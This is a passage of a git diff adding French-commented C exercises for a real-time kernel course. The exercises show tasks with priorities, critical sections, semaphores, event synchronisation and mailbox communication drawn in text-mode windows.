2 */ +#define TK 3 /* La tâche TKill a le numéro 3 */ +#define PT1 2 /* La tâche numéro 1 a la priorité 2 */ +#define PT2 2 /* La tâche numéro 2 a aussi la priorité 2 */ +#define PTK 3 /* La tâche numéro 3 a la priorité 3 : c'est elle la plus prioritaire */ +#define ESC 0x1b + +Word F0,F1,F2,F3; + +#include "tempo.c" +/*-------------------------------------------------------------------*/ +TKill() +{ +Char car; +while (1) + { + LireCar(F1,ON,&car); + if(car==ESC) + { + RetDos(); + } + } +} +/*-------------------------------------------------------------------*/ +Tache1() +{ +while(1) + { + EcrTexte(F1,"T1111111"); + Tempo(5); + EffaceFen(F1); + Tempo(5); + } +} + +/*-------------------------------------------------------------------*/ +Tache2() +{ +while(1) + { + EcrTexte(F2,"T2222222"); + Tempo(5); + EffaceFen(F2); + Tempo(5); + } +} +/*-------------------------------------------------------------------*/ +void main(void) +{ +InitVideo(); +F0 = OuvreFen( 0, 0,79,24, noir, blanc,"EXERCICE 3"); +F1 = OuvreFen( 5, 5,20,10, bleu, blanc,"T1 EnCours"); +F2 = OuvreFen(25, 5,40,10, vert, blanc,"T2 EnCours"); +F3 = OuvreFen( 1,20,78,23, rouge,blanc,"TACHE MAIN"); + +InitNoyau(); +CreateTask(T1, PT1, Tache1); +CreateTask(T2, PT2, Tache2); +CreateTask(TK, PTK, TKill); + +StartTask(TK); /*En changeant l'ordre des taches, on arrive a lancer T1 et TK mais pas T2*/ +StartTask(T1); +StartTask(T2); + +while(1) + { + EcrCar(F3,'&'); + Tempo(2); + } +} diff --git a/RealTime/ex3a.c b/RealTime/ex3a.c new file mode 100755 index 0000000..ccf7b23 --- /dev/null +++ b/RealTime/ex3a.c @@ -0,0 +1,85 @@ +/********************************************************************/ +/* EX3.C : EnterRegion et LeaveRegion */ +/* Primitive de partage du temps RTClockInit() */ +/********************************************************************/ +#include +#include +#include + +#define T1 1 /* La tâche Tache1 a le numéro 1 */ +#define T2 2 /* La tâche Tache2 a le numéro 2 */ +#define TK 3 /* La tâche TKill a le numéro 3 */ +#define PT1 2 /* La tâche numéro 1 a la priorité 2 */ +#define PT2 2 /* La tâche numéro 2 a aussi la priorité 2 */ +#define PTK 3 /* La tâche numéro 3 a la priorité 3 : c'est elle la plus prioritaire */ +#define ESC 0x1b + +Word F0,F1,F2,F3; + +#include "tempo.c" +/*-------------------------------------------------------------------*/ +TKill() +{ +Char car; +while (1) + { + LireCar(F1,ON,&car); + if(car==ESC) + { + RetDos(); + } + } +} +/*-------------------------------------------------------------------*/ +Tache1() +{ +while(1) + { + EcrTexte(F1,"T1111111"); + Tempo(5); + EffaceFen(F1); + Tempo(5); + } +} + +/*-------------------------------------------------------------------*/ +Tache2() +{ +while(1) + { + EcrTexte(F2,"T2222222"); + Tempo(5); + EffaceFen(F2); + Tempo(5); + } +} +/*-------------------------------------------------------------------*/ +void main(void) +{ +InitVideo(); +F0 = OuvreFen( 0, 0,79,24, noir, blanc,"EXERCICE 3"); +F1 = OuvreFen( 5, 5,20,10, bleu, blanc,"T1 EnCours"); +F2 = OuvreFen(25, 5,40,10, vert, blanc,"T2 EnCours"); +F3 = OuvreFen( 1,20,78,23, rouge,blanc,"TACHE MAIN"); + +InitNoyau(); +CreateTask(T1, PT1, Tache1); +CreateTask(T2, PT2, Tache2); +CreateTask(TK, PTK, TKill); + + +EnterRegion(); /*La section critique permet de demarrer toutes les taches*/ + +StartTask(TK); /*En changeant l'ordre des taches, on arrive a lancer T1 et TK mais pas T2*/ +StartTask(T1); +StartTask(T2); /*T1 et T2 ont la meme priorite. Seule la derniere tache demarree est prise en compte (ici T2)*/ + +LeaveRegion(); + + +while(1) + { + EcrCar(F3,'&'); + Tempo(2); + } +} diff --git a/RealTime/ex3b.c b/RealTime/ex3b.c new file mode 100755 index 0000000..1c268e7 --- /dev/null +++ b/RealTime/ex3b.c @@ -0,0 +1,88 @@ +/********************************************************************/ +/* EX3.C : EnterRegion et LeaveRegion */ +/* Primitive de partage du temps RTClockInit() */ +/********************************************************************/ +#include +#include +#include + +#define T1 1 /* La tâche Tache1 a le numéro 1 */ +#define T2 2 /* La tâche Tache2 a le numéro 2 */ +#define TK 3 /* La tâche TKill a le numéro 3 */ +#define PT1 2 /* La tâche numéro 1 a la priorité 2 */ +#define PT2 2 /* La tâche numéro 2 a aussi la priorité 2 */ +#define PTK 3 /* La tâche numéro 3 a la priorité 3 : c'est elle la plus prioritaire */ +#define ESC 0x1b + +Word F0,F1,F2,F3; + +#include "tempo.c" +/*-------------------------------------------------------------------*/ +TKill() +{ +Char car; +while (1) + { + LireCar(F1,ON,&car); + if(car==ESC) + { + RetDos(); + } + } +} +/*-------------------------------------------------------------------*/ +Tache1() +{ +while(1) + { + EcrTexte(F1,"T1111111"); + Tempo(5); + EffaceFen(F1); + Tempo(5); + } +} + +/*-------------------------------------------------------------------*/ +Tache2() +{ +while(1) + { + EcrTexte(F2,"T2222222"); + Tempo(5); + EffaceFen(F2); + Tempo(5); + } +} +/*-------------------------------------------------------------------*/ +void main(void) +{ +InitVideo(); +F0 = OuvreFen( 0, 0,79,24, noir, blanc,"EXERCICE 3"); +F1 = OuvreFen( 5, 5,20,10, bleu, blanc,"T1 EnCours"); +F2 = OuvreFen(25, 5,40,10, vert, blanc,"T2 EnCours"); +F3 = OuvreFen( 1,20,78,23, rouge,blanc,"TACHE MAIN"); + +InitNoyau(); + +/*Initialisation du partage de temps*/ +RTClockInit(1); + +CreateTask(T1, PT1, Tache1); +CreateTask(T2, PT2, Tache2); +CreateTask(TK, PTK, TKill); + + +EnterRegion(); /*La section critique permet de demarrer toutes les taches*/ + +StartTask(TK); /*En changeant l'ordre des taches, on arrive a lancer T1 et TK mais pas T2*/ +StartTask(T1); +StartTask(T2); /*T1 et T2 ont la meme priorite. Seule la derniere tache demarree est prise en compte (ici T2)*/ + +LeaveRegion(); + +while(1) + { + EcrCar(F3,'&'); + Tempo(2); + } +} diff --git a/RealTime/ex4.c b/RealTime/ex4.c new file mode 100755 index 0000000..d6b6498 --- /dev/null +++ b/RealTime/ex4.c @@ -0,0 +1,146 @@ +/************************************************************************/ +/* EX4.C : Round-Robin avec protection des Ressources */ +/************************************************************************/ +/* Fonction : */ +/* Quatre tâches de même priorité travaillent en partage du temps */ +/* (Réordonnancement à chaque Tick). */ +/* Ces quatre tâches utilisent une fenêtre commune pour afficher */ +/* leur message. */ +/* Principe : */ +/* La ressource commune est protegée par un sémaphore binaire */ +/************************************************************************/ +#include +#include +#include + +#define T1 1 +#define T2 2 +#define T3 3 +#define T4 4 +#define TK 5 +#define PT 1 +#define PTK 2 +#define ESC 0x1B + +#define Sem 1 +#define ValMaxSem 1 + +Word F0,F1,F2; + +#include "tempo.c" + +/*-----------------------------------------------*/ +TKill(void) +{ +Char car; +while(1) + { + LireCar(F2,ON,&car); + if(car==ESC) + { + RetDos(); + } + } +} +/*-----------------------------------------------*/ +Tache1(void) +{ +while(1) + { + P(Sem,0); + EcrTexte(F2,"T11111"); + Tempo(5); + EffaceFen(F2); + V(Sem); + } +} +/*-----------------------------------------------*/ +Tache2(void) +{ +while(1) + { + P(Sem,0); + EcrTexte(F2,"T22222"); + Tempo(5); + EffaceFen(F2); + V(Sem); + } +} +/*-----------------------------------------------*/ +Tache3(void) +{ +while(1) + { + P(Sem,0); + EcrTexte(F2,"T33333"); + Tempo(5); + EffaceFen(F2); + V(Sem); + } +} +/*-----------------------------------------------*/ +Tache4(void) +{ +while(1) + { + P(Sem,0); + EcrTexte(F2,"T44444"); + Tempo(5); + EffaceFen(F2); + V(Sem); + } +} +/*-----------------------------------------------*/ +void main(void) +{ +InitVideo(); +F0 = OuvreFen( 0, 0,79,24, noir, blanc,"EX 4 : Round Robin et Sémaphore"); +F1 = OuvreFen( 2,20,77,23, cyan, blanc,"TACHE MAIN"); +F2 = OuvreFen( 5,10,20,15, bleu, blanc,"EnCours"); + +InitNoyau(); + +RTClockInit(1); + +/*Lorsque l'on desactive le temps partage, les taches T1, T2, T3 et T4*/ +/*s'executent puis seule la tache T4 s'execute. Ceci est du au fait que*/ +/*T1, T2, et T3 sont reordonnancees sur le V avant d'avoir pu faire le P*/ + + +/* NOTE : pour la version SANS partage de temps, voir ex4a.c */ + + +CreateTask(T1, PT, Tache1); +CreateTask(T2, PT, Tache2); +CreateTask(T3, PT, Tache3); +CreateTask(T4, PT, Tache4); +CreateTask(TK, PTK,TKill); + + +InitSemaphore(Sem, ValMaxSem); /*Creation du semaphore*/ +/* On n'initialise pas le semaphore ici (cf. plus bas)*/ + + +/*Ici on n'a pas besoin de section critique car T1, T2, T3 et T4 seront*/ +/*bloquees sur la prise de semaphore et TK sera bloque sur la lecture du*/ +/*clavier. De cette maniere la tache main pourra continuer a s'executer.*/ +/*T1, T2, T3 et T4 seront inserees de maniere ordonnee dans la file*/ +/*d'attente du semaphore*/ + +StartTask(T1); /*Demarrage des taches*/ +StartTask(T2); +StartTask(T3); +StartTask(T4); +StartTask(TK); + +Tempo(10); /*Laisse le temps a l'ecran LCD de changer de mode video*/ + +/*On debloque la premiere tache de la file d'attente du semaphore*/ +V(Sem); + +while(1) + { + EcrCar(F1,'&'); + Tempo(2); + } +} diff --git a/RealTime/ex4a.c b/RealTime/ex4a.c new file mode 100755 index 0000000..ee8b15a --- /dev/null +++ b/RealTime/ex4a.c @@ -0,0 +1,137 @@ +/************************************************************************/ +/* EX4A.C : Round-Robin avec protection des Ressources */ +/************************************************************************/ +/* Fonction : */ +/* Quatre tâches de même priorité travaillent SANS partage du temps */ +/* Ces quatre tâches utilisent une fenêtre commune pour afficher */ +/* leur message. */ +/* Principe : */ +/* La ressource commune est protegée par un sémaphore binaire */ +/************************************************************************/ +#include +#include +#include + +#define T1 1 +#define T2 2 +#define T3 3 +#define T4 4 +#define TK 5 +#define PT 1 +#define PTK 2 +#define ESC 0x1B + +#define Sem 1 +#define ValMaxSem 1 + +Word F0,F1,F2; + +#include "tempo.c" + +/*-----------------------------------------------*/ +TKill(void) +{ +Char car; +while(1) + { + LireCar(F2,ON,&car); + if(car==ESC) + { + RetDos(); + } + } +} +/*-----------------------------------------------*/ +Tache1(void) +{ +P(Sem,0); /*Blocage initial des taches (synchronisation)*/ +while(1) + { + EcrTexte(F2,"T11111"); + Tempo(5); + EffaceFen(F2); + P(Sem,0); /*Remise de la tache dans la file d'attente du semaphore*/ + } +} +/*-----------------------------------------------*/ +Tache2(void) +{ +P(Sem,0); +while(1) + { + EcrTexte(F2,"T22222"); + Tempo(5); + EffaceFen(F2); + P(Sem,0); + } +} +/*-----------------------------------------------*/ +Tache3(void) +{ +P(Sem,0); +while(1) + { + EcrTexte(F2,"T33333"); + Tempo(5); + EffaceFen(F2); + P(Sem,0); + } +} +/*-----------------------------------------------*/ +Tache4(void) +{ +P(Sem,0); +while(1) + { + EcrTexte(F2,"T44444"); + Tempo(5); + EffaceFen(F2); + P(Sem,0); + } +} +/*-----------------------------------------------*/ +void main(void) +{ +InitVideo(); +F0 = OuvreFen( 0, 0,79,24, noir, blanc,"EX 4 : Round Robin et Sémaphore"); +F1 = OuvreFen( 2,20,77,23, cyan, blanc,"TACHE MAIN"); +F2 = OuvreFen( 5,10,20,15, bleu, blanc,"EnCours"); + +InitNoyau(); + +/* NOTE : Dans cet example on n'utilise pas le temps partage */ + +CreateTask(T1, PT, Tache1); +CreateTask(T2, PT, Tache2); +CreateTask(T3, PT, Tache3); +CreateTask(T4, PT, Tache4); +CreateTask(TK, PTK,TKill); + + +InitSemaphore(Sem, ValMaxSem); /*Creation du semaphore*/ +/* On n'initialise pas le semaphore ici (cf. plus bas)*/ + + +/*Ici on n'a pas besoin de section critique car T1, T2, T3 et T4 seront*/ +/*bloquees sur la prise de semaphore et TK sera bloque sur la lecture du*/ +/*clavier. De cette maniere la tache main pourra continuer a s'executer.*/ +/*T1, T2, T3 et T4 seront inserees de maniere ordonnee dans la file*/ +/*d'attente du semaphore*/ + +StartTask(T1); /*Demarrage des taches*/ +StartTask(T2); +StartTask(T3); +StartTask(T4); +StartTask(TK); + +Tempo(10); /*Laisse le temps a l'ecran LCD de changer de mode video*/ + +/*On debloque la premiere tache de la file d'attente du semaphore*/ +V(Sem); + +while(1) + { + EcrCar(F1,'&'); + V(Sem); /*Lorsque toutes les taches sont bloques on debloque la suivante dans la file d'attente*/ + } +} diff --git a/RealTime/ex5.c b/RealTime/ex5.c new file mode 100755 index 0000000..55ff611 --- /dev/null +++ b/RealTime/ex5.c @@ -0,0 +1,121 @@ +/************************************************************************/ +/* EX5.C : Synchronisation par événements */ +/************************************************************************/ +/* Fonction : */ +/* Trois tâches de même priorité doivent afficher "circulairement" */ +/* un message dans leur fenêtre respective. */ +/* Ces trois tâches se synchronisent mutuellement. */ +/* Principe : */ +/* La synchronisation est réalisée par des évenemets : chacune des */ +/* tâches attend de la tâche précédente un évenement puis signale */ +/* un évenement a la suivante. */ +/************************************************************************/ +#include +#include +#include + +#define T1 1 +#define T2 2 +#define T3 3 +#define TK 4 +#define PT 1 +#define PTK 2 + +#define SE1 0 /* On peut prendre n'importe quelle valeur < 16 */ +#define SE2 1 /* On peut prendre n'importe quelle valeur < 16 */ +#define SE3 15 /* On peut prendre n'importe quelle valeur < 16 */ + +#define WE1 0x0001 +#define WE2 0x0002 +#define WE3 0x8000 + +#define ESC 0x1B + +Word CopieEvtSig; + +Word F0,F1,F2,F3,F4; + +#include "tempo.c" +/*---------------------------------------------*/ +TKill(void) +{ +Char car; +while(1) + { + LireCar(F1,ON,&car); + if(car==ESC) + { + RetDos(); + } + } +} +/*---------------------------------------------*/ +Tache1(void) +{ +while(1) + { + EcrTexte(F1,"T11111"); + Tempo(10); + EffaceFen(F1); + ClearEvents(WE1); + SignalEvent(T2,SE2); + WaitEvents(WE1, 0, &CopieEvtSig); + } +} +/*---------------------------------------------*/ +Tache2(void) +{ +while(1) + { + EcrTexte(F2,"T22222"); + Tempo(10); + EffaceFen(F2); + ClearEvents(WE2); + SignalEvent(T3,SE3); + WaitEvents(WE2, 0, &CopieEvtSig); + } +} +/*---------------------------------------------*/ +Tache3(void) +{ +while(1) + { + EcrTexte(F3,"T33333"); + Tempo(10); + EffaceFen(F3); + ClearEvents(WE3); + SignalEvent(T1,SE1); + WaitEvents(WE3, 0, &CopieEvtSig); + } +} +/*---------------------------------------------*/ +void main(void) +{ +InitVideo(); + +F0 = OuvreFen( 0, 0,79,24, noir, blanc,"EX 5 : SYNCHRONISATION PAR EVENEMENTS"); +F1 = OuvreFen(10,10,21,13, bleu, blanc, "EnCours"); +F2 = OuvreFen(30, 3,41, 6, vert, blanc, "EnCours"); +F3 = OuvreFen(50,10,61,13, rouge,blanc, "EnCours"); +F4 = OuvreFen( 2,20,77,23, cyan, blanc, "TACHE MAIN"); + + +InitNoyau(); +CreateTask(T1, PT, Tache1); +CreateTask(T2, PT, Tache2); +CreateTask(T3, PT, Tache3); +CreateTask(TK, PTK, TKill); + +EnterRegion(); +StartTask(T3); +StartTask(T2); +StartTask(T1); +StartTask(TK); +LeaveRegion(); + +while(1) + { + EcrCar(F4,'&'); + Tempo(2); + } +} diff --git a/RealTime/ex5a.c b/RealTime/ex5a.c new file mode 100755 index 0000000..e93790e --- /dev/null +++ b/RealTime/ex5a.c @@ -0,0 +1,105 @@ +/************************************************************************/ +/* EX5A.C : Synchronisation par Sémaphore Binaire */ +/************************************************************************/ +/* Fonction : */ +/* Deux tâches de même priorité affichent chacune un message dans */ +/* leur fenêtre respective. */ +/* Ces deux tâches se synchronisent mutuellement. */ +/* Principe : */ +/* La synchronisation est realisée par un sémaphore binaire : ce */ +/* TP a pour but essentiel de montrer le principe de préemption du */ +/* processeur. */ +/************************************************************************/ +#include +#include +#include + +#define T1 1 +#define T2 2 +#define T3 3 +#define TK 4 + +#define PT1 1 +#define PT2 1 +#define PT3 1 +#define PTK 3 + +#define Sem1 1 +#define ValMaxSem 1 +#define ESC 0x1B + +#define AttInfinie 0L + +Word F0,F1,F2,F3,F4; +#include "tempo.c" +/*-----------------------------------------------------*/ +TKill(void) +{ +Char car; +while(1) + { + LireCar(F1,ON,&car); + if( car == ESC ) RetDos(); + } +} +/*-----------------------------------------------------*/ +Tache1(void) +{ +while(1) + { + EcrTexte(F1,"T111111\n"); + Tempo(10); + EffaceFen(F1); + P(Sem1,AttInfinie); + } +} +/*-----------------------------------------------------*/ +Tache2(void) +{ +while(1) + { + EcrTexte(F2,"T222222\n"); + Tempo(10); + EffaceFen(F2); + V(Sem1); + } +} +/*-----------------------------------------------------*/ +Tache3(void) +{ +while(1) + { + } +} +/*-----------------------------------------------------*/ +void main(void) +{ +InitVideo(); + +F0 = OuvreFen( 0, 0,79,24, noir, blanc, "EX 5a : SYNCHRONISATION AVEC UN SEMAPHORE BINAIRE (bis)"); +F1 = OuvreFen(10,10,21,13, bleu, blanc, "EnCours"); +F2 = OuvreFen(30, 3,41, 6, vert, blanc, "EnCours"); +F3 = OuvreFen(50,10,61,13,rouge, blanc, "EnCours"); +F4 = OuvreFen( 2,20,77,23, cyan, blanc, "TACHE MAIN"); + +InitNoyau(); +CreateTask(T1, PT1, Tache1); +CreateTask(T2, PT2, Tache2); +CreateTask(T3, PT3, Tache3); +CreateTask(TK, PTK, TKill); +InitSemaphore(Sem1, ValMaxSem); + +EnterRegion(); +StartTask(T2); +StartTask(T1); +StartTask(TK); +LeaveRegion(); + +while(1) + { + EnterRegion(); + EcrCar(F4,'&'); + LeaveRegion(); + Tempo(2); + } +} \ No newline at end of file diff --git a/RealTime/ex5b.c b/RealTime/ex5b.c new file mode 100755 index 0000000..870014e --- /dev/null +++ b/RealTime/ex5b.c @@ -0,0 +1,116 @@ +/************************************************************************/ +/* EX5A.C : Synchronisation par Sémaphore Binaire */ +/************************************************************************/ +/* Fonction : */ +/* Deux tâches de même priorité affichent chacune un message dans */ +/* leur fenêtre respective. */ +/* Ces deux tâches se synchronisent mutuellement. */ +/* Principe : */ +/* La synchronisation est realisée par un sémaphore binaire : ce */ +/* TP a pour but essentiel de montrer le principe de préemption du */ +/* processeur. */ +/************************************************************************/ +#include +#include +#include + +#define T1 1 +#define T2 2 +#define T3 3 +#define TK 4 + +#define PT1 1 +#define PT2 1 +#define PT3 1 +#define PTK 3 + +#define Sem1 1 +#define Sem2 2 +#define Sem3 3 +#define ValMaxSem 1 +#define ESC 0x1B + +#define AttInfinie 0L + +Word F0,F1,F2,F3,F4; +#include "tempo.c" +/*-----------------------------------------------------*/ +TKill(void) +{ +Char car; +while(1) + { + LireCar(F1,ON,&car); + if( car == ESC ) RetDos(); + } +} +/*-----------------------------------------------------*/ +Tache1(void) +{ +while(1) + { + EcrTexte(F1,"T111111\n"); + Tempo(10); + EffaceFen(F1); + V(Sem2); /*On debloque la tache 2*/ + P(Sem1,AttInfinie); /*On attend que la tache 3 nous debloque*/ + } +} +/*-----------------------------------------------------*/ +Tache2(void) +{ +while(1) + { + EcrTexte(F2,"T222222\n"); + Tempo(10); + EffaceFen(F2); + V(Sem3); + P(Sem2, AttInfinie); + } +} +/*-----------------------------------------------------*/ +Tache3(void) +{ +while(1) + { + EcrTexte(F3,"T333333\n"); + Tempo(10); + EffaceFen(F3); + V(Sem1); + P(Sem3, AttInfinie); + } +} +/*-----------------------------------------------------*/ +void main(void) +{ +InitVideo(); + +F0 = OuvreFen( 0, 0,79,24, noir, blanc, "EX 5a : SYNCHRONISATION AVEC UN SEMAPHORE BINAIRE (bis)"); +F1 = OuvreFen(10,10,21,13, bleu, blanc, "EnCours"); +F2 = OuvreFen(30, 3,41, 6, vert, blanc, "EnCours"); +F3 = OuvreFen(50,10,61,13,rouge, blanc, "EnCours"); +F4 = OuvreFen( 2,20,77,23, cyan, blanc, "TACHE MAIN"); + +InitNoyau(); +CreateTask(T1, PT1, Tache1); +CreateTask(T2, PT2, Tache2); +CreateTask(T3, PT3, Tache3); +CreateTask(TK, PTK, TKill); + +InitSemaphore(Sem1, ValMaxSem); /*Creation des semaphores, pas d'initialisation a 1*/ +InitSemaphore(Sem2, ValMaxSem); +InitSemaphore(Sem3, ValMaxSem); + +StartTask(TK); /*L'absence de section critique garantit l'ordre d'execution*/ +StartTask(T3); +StartTask(T2); +StartTask(T1); + +while(1) + { + EnterRegion(); + EcrCar(F4,'&'); + LeaveRegion(); + Tempo(2); + } +} \ No newline at end of file diff --git a/RealTime/ex5c.c b/RealTime/ex5c.c new file mode 100755 index 0000000..dcbe671 --- /dev/null +++ b/RealTime/ex5c.c @@ -0,0 +1,124 @@ +/************************************************************************/ +/* EX5c.C EVENEMENTS MULTIPLES */ +/************************************************************************/ +/* Fonction : */ +/* Deux tâches de même priorité fonctionnent en partage du temps */ +/* Une troisième tâche, de priorité plus forte doit effectuer un */ +/* traitement demandé par l'une des tâches précédentes. */ +/* Principe : */ +/* Chacune des deux premières tâches signale son événement à la */ +/* troisième tâche qui affichera un message correspondant à */ +/* l'événement recu. */ +/************************************************************************/ +#include +#include +#include + +#define T1 1 +#define T2 2 +#define T3 3 +#define TK 4 +#define PT1 1 +#define PT2 1 +#define PT3 2 +#define PTK 3 + +#define SE1 0 +#define SE2 1 +#define WE1 0x01 +#define WE2 0x02 + +#define ESC 0x1B + + +Word F0,F1,F2,F3,F4; +#include "tempo.c" +/*--------------------------------------------------*/ +TKill(void) +{ +Char car; +LireCar(F4,ON,&car); +if( car == ESC ) RetDos(); +} +/*--------------------------------------------------*/ +Tache1(void) +{ + +while(1) + { + EcrTexte(F1,"\nSignale EVT1"); + Tempo(5); + SignalEvent(T3,SE1); + } +} +/*--------------------------------------------------*/ +Tache2(void) +{ +while(1) + { + EcrTexte(F2,"\nSignale EVT2"); + Tempo(5); + SignalEvent(T3,SE2); + } +} +/*--------------------------------------------------*/ +Tache3(void) +{ +Word events; +int cpt1 = 0, cpt2 = 0; +while(1) + { + WaitEvents(WE1|WE2, 0, &events); + + if (events&WE1) + { + EffaceFen(F1); + ++cpt1; + SelectFen(F3); + EcrVar("EVT1 Recu (%d)\r", cpt1); + ClearEvents(WE1); + } + + if (events&WE2) + { + EffaceFen(F2); + ++cpt2; + SelectFen(F3); + EcrVar("EVT2 Recu (%d)\r", cpt2); + ClearEvents(WE2); + } + } +} +/*--------------------------------------------------*/ +void main(void) +{ +InitVideo(); + +F0 = OuvreFen( 0, 0,79,24, noir, blanc, "EX 5c :EVENEMENTS MULTIPLES"); +F1 = OuvreFen(10, 4,25, 7, vert, blanc, "Tache #1"); +F2 = OuvreFen(55, 4,70, 7, bleu, blanc, "Tache #2"); +F3 = OuvreFen(31, 7,49,19, rouge,blanc, "Tache #3"); +F4 = OuvreFen( 2,20,77,23, cyan, blanc, "TACHE MAIN"); + +InitNoyau(); +RTClockInit(1); +CreateTask(T1, PT1, Tache1); +CreateTask(T2, PT2, Tache2); +CreateTask(T3, PT3, Tache3); +CreateTask(TK, PTK, TKill); + +EnterRegion(); +StartTask(TK); +StartTask(T1); +StartTask(T2); +StartTask(T3); +LeaveRegion(); + +while(1) + { + EnterRegion(); + EcrCar(F4,'&'); + LeaveRegion(); + Tempo(2); + } +} diff --git a/RealTime/ex6.c b/RealTime/ex6.c new file mode 100755 index 0000000..574c206 --- /dev/null +++ b/RealTime/ex6.c @@ -0,0 +1,90 @@ +/************************************************************************/ +/* EX6.C : Communication par Boîte à Lettres */ +/************************************************************************/ +/* Fonction : */ +/* Une première tâche lit des caractères au clavier puis les */ +/* communique à une seconde tâche qui affiche le caractère reçu. */ +/* Si aucun caractère n'est reçu au bout d'un certain temps, la */ +/* tache de réception affiche un message d'erreur. */ +/* Principe : */ +/* La tâche de consommation lit la boîte à lettres avec un time-out. */ +/* Si la boîte est remplie avant l'expiration du time-out: */ +/* Alors lire le caractère puis l'afficher. */ +/* Sinon afficher "Time-Out" dans une troisième fenêtre. */ +/* FinSi */ +/************************************************************************/ +#include +#include +#include + +#define T1 1 /*TacheProducteur*/ +#define T2 2 /*TacheConsommateur*/ + +#define PT1 4 /*Priorité TacheProducteur*/ +#define PT2 3 /*Priorité TacheConsommateur*/ + +#define BL 1 /*On utilise une boîte à lettres...*/ +#define TBL 1 /*... de taille 1*/ +#define TOBL 20 /*... avec un time out de 2 secondes*/ +#define ESC 0x1b + +Word F0,F1,F2,F3,F4; + +#include "tempo.c" +/*-------------------------------------------------------------------*/ +TacheProducteur() +{ +Char car; +while(1) + { + LireCar(F1,ON,&car); + if (car == ESC) RetDos(); + Send(BL,car); + } +} +/*-------------------------------------------------------------------*/ +TacheConsommateur() +{ +Char car; +while(1) + { + if(Receive(BL,&car,TOBL)) + { + EcrTexte(F4, "Time-out"); + Tempo(10); + EffaceFen(F4); + } + else + { + EcrCar(F2,car); + } + } +} +/*-------------------------------------------------------------------*/ +void main(void) +{ +InitVideo(); +F0 = OuvreFen( 0, 0,78,24, noir, blanc, "EXERCICE 6 : Communication par BL"); +F1 = OuvreFen( 5,10,25,15, vert, blanc, "Producteur"); +F2 = OuvreFen(45,10,65,15, bleu, blanc, "Consommateur"); +F4 = OuvreFen(45,16,65,19, bleu, blanc, "Time-out"); +F3 = OuvreFen( 2,20,77,23, cyan ,blanc, "TACHE MAIN"); + +InitNoyau(); + +InitMailBox(BL, TBL); + +CreateTask(T1, PT1, TacheProducteur); +CreateTask(T2, PT2, TacheConsommateur); + +EnterRegion(); +StartTask(T1); +StartTask(T2); +LeaveRegion(); + +while(1) + { + EcrCar(F3,'&'); + Tempo(2); + } +} \ No newline at end of file diff --git a/RealTime/ex6a-bis.c b/RealTime/ex6a-bis.c new file mode 100755 index 0000000..75aa01f --- /dev/null +++ b/RealTime/ex6a-bis.c @@ -0,0 +1,124 @@ +/************************************************************************/ +/* EX6a-bis.C : Communication par une seule Boîtes à Lettres */ +/************************************************************************/ +/* Fonction : */ +/* Trois tâches T1,T2 et T3 tournent "circulairement" dans l'ordre */ +/* T1,T2,T3. */ +/* Chaque tâche Ti possède sa propre fenêtre et écrit "Tiiiiii". */ +/* Le message reste affiché pendant environ une demie seconde, puis */ +/* la fenêtre est éffacée. La tâche suivante prend alors la main. */ +/* Comme dans la plupart des exercices, une tâche TKill, de */ +/* priorité supérieure, écrit les caractères frappés au clavier */ +/* dans la fenêtre de la tâche T1. Escape permet de revenir au DOS. */ +/* Principe : */ +/* Les tâches se synchronisent mutuellement par boîtes à lettres. */ +/* */ +/* */ +/* Ajout: */ +/* - Une seule boite aux lettres utilisees */ +/* */ +/************************************************************************/ +#include +#include +#include + +#define T1 1 +#define T2 2 +#define T3 3 +#define TK 4 + +#define PT1 3 +#define PT2 3 +#define PT3 3 +#define PTK 4 + +#define BL1 1 +#define TBL1 1 +#define TOBL1 0 + +#define ESC 0x1b + +Word F0,F1,F2,F3,F4; + +#include "tempo.c" +/*-------------------------------------------------------------------*/ +TKill(void) +{ +Char car; +while(1) + { + LireCar(F4,ON,&car); + if(car == ESC) RetDos(); + } +} +/*-------------------------------------------------------------------*/ +Tache1(void) +{ /*Les taches 1, 2 et 3 ne font que consommer */ +Word null; +Receive(BL1,&null,TOBL1); /*Met la tache dans la file d'attente de la boite aux lettres*/ +while(1) + { + EcrTexte(F1,"T11111\n"); + Tempo(10); + EffaceFen(F1); + Receive(BL1,&null,TOBL1); /*Remise de la tache dans la file d'attente de la boite aux lettres*/ + } +} +/*-------------------------------------------------------------------*/ +Tache2(void) +{ +Word null; +Receive(BL1,&null,TOBL1); +while(1) + { + EcrTexte(F2,"T22222\n"); + Tempo(10); + EffaceFen(F2); + Receive(BL1,&null,TOBL1); + } +} +/*-------------------------------------------------------------------*/ +Tache3(void) +{ +Word null; +Receive(BL1,&null,TOBL1); +while(1) + { + EcrTexte(F3,"T33333\n"); + Tempo(10); + EffaceFen(F3); + Receive(BL1,&null,TOBL1); + } +} +/*-------------------------------------------------------------------*/ +void main(void) +{ +InitVideo(); +F0 = OuvreFen( 0, 0,78,24, noir, blanc, "EXERCICE 6a : COMMUNICATION PAR BOITES A LETTRES"); +F1 = OuvreFen(10,10,21,13, vert, blanc, "TACHE 1"); +F2 = OuvreFen(30, 3,41, 6, bleu, blanc, "TACHE 2"); +F3 = OuvreFen(50,10,61,13, rouge,blanc, "TACHE 3"); +F4 = OuvreFen( 2,20,77,23, cyan ,blanc, "TACHE MAIN"); + +InitNoyau(); + +InitMailBox(BL1,TBL1); + +CreateTask(TK,PTK,TKill); +CreateTask(T1,PT1,Tache1); +CreateTask(T2,PT2,Tache2); +CreateTask(T3,PT3,Tache3); + +/*On n'a pas besoin de section critique, car toutes les tache seront bloquees des leur debut */ + +StartTask(TK); +StartTask(T1); /*Inscription de T1 dans la file d'attente de la BAL*/ +StartTask(T2); /*Inscription de T2 dans la file d'attente de la BAL*/ +StartTask(T3); /*Inscription de T3 dans la file d'attente de la BAL*/ + +while(1) + { + Send(BL1,0); /*La tache main ne fait que produire*/ + EcrCar(F4,'E'); + } +} diff --git a/RealTime/ex6a.c b/RealTime/ex6a.c new file mode 100755 index 0000000..e5aeaf8 --- /dev/null +++ b/RealTime/ex6a.c @@ -0,0 +1,131 @@ +/************************************************************************/ +/* EX6a.C : Communication par Boîtes à Lettres */ +/************************************************************************/ +/* Fonction : */ +/* Trois tâches T1,T2 et T3 tournent "circulairement" dans l'ordre */ +/* T1,T2,T3. */ +/* Chaque tâche Ti possède sa propre fenêtre et écrit "Tiiiiii". */ +/* Le message reste affiché pendant environ une demie seconde, puis */ +/* la fenêtre est éffacée. La tâche suivante prend alors la main. */ +/* Comme dans la plupart des exercices, une tâche TKill, de */ +/* priorité supérieure, écrit les caractères frappés au clavier */ +/* dans la fenêtre de la tâche T1. Escape permet de revenir au DOS. */ +/* Principe : */ +/* Les tâches se synchronisent mutuellement par boîtes à lettres. */ +/************************************************************************/ +#include +#include +#include + 